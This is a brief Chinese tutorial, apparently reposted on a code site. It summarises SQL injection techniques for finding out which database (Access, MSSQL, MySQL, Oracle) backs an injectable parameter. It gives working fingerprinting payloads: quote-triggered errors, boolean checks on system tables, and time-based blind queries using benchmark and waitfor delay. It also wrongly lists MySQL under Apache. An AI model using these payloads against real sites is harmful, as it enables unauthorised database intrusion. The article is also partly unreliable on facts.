SQL注入攻擊技巧總結


0×01 你要知道目前有哪些數據庫

微軟公司旗下的:

Microsoft SQL server 簡稱 MS-SQL 或者 SQL SERVER (大型數據庫操作,功能和性能異常強大)(一般也是ASP或者ASP.NET)

access,微軟Office系列產品之一,極小型數據庫。功能和性能當然也是相當一般。性能甚至可以說是相當低(常與ASP應用交互)

Oracle公司旗下的:

MySQL 是一個關系型數據庫管理系統(常與PHP web應用交互)

Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統

Apache旗下的:

MySql

0×02 判斷你的web應用是什么類型的數據庫

(在可注入的情況下,判斷數據庫類型)(我以數字型注入為例子)

單引號判斷:

id=1′頁面出現類似錯誤顯示 “Microsoft JET Database Engine 錯誤 ’80040e14′” JET 為ACCESS數據庫
id=1′頁面出現類似錯誤顯示 “Microsoft OLE DB Provider for sql server錯誤 ‘xxxxxx’ ” 就為MSSQL數據庫

條件判斷:
id=1 and user>0 出錯爆出user用戶名的是 MSSQL

如果不爆錯,那么我們用以下方式

id=1 and (select count(*) from sysobjects)>0 訪回與id=1時頁面一樣 就為MSSQL數據庫

id=1 and (select count(*) from msysobjects)>0 access會返回你沒有權限查看

如果也沒反應怎么辦?

那我們就盲注吧

mysql 盲注語句為 id=1 and if(1=1,benchmark(100,md5(1)),0) //如果可延時執行,為Mysql數據庫
mssql 盲注語句為 id=1 and if(1=1) waitfor delay ’00:00:04′;

0×03 針對數據庫類型,進行相應的SQL注入攻擊

看了下面的文章,你可能知道為什么要分析是web應用是什么數據庫啦!

如果你分析為 MYSQL 注入,我推薦你看這篇文章。

http://websec.ca/kb/sql_injection#MySQL_Default_Databases

如果你分析為 MSSQL 注入,我推薦你看這篇文章。

http://websec.ca/kb/sql_injection#MSSQL_Default_Databases

如果你分析為 ORACLE 注入,我推薦你看這篇文章。

http://websec.ca/kb/sql_injection#Oracle_Default_Databases


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM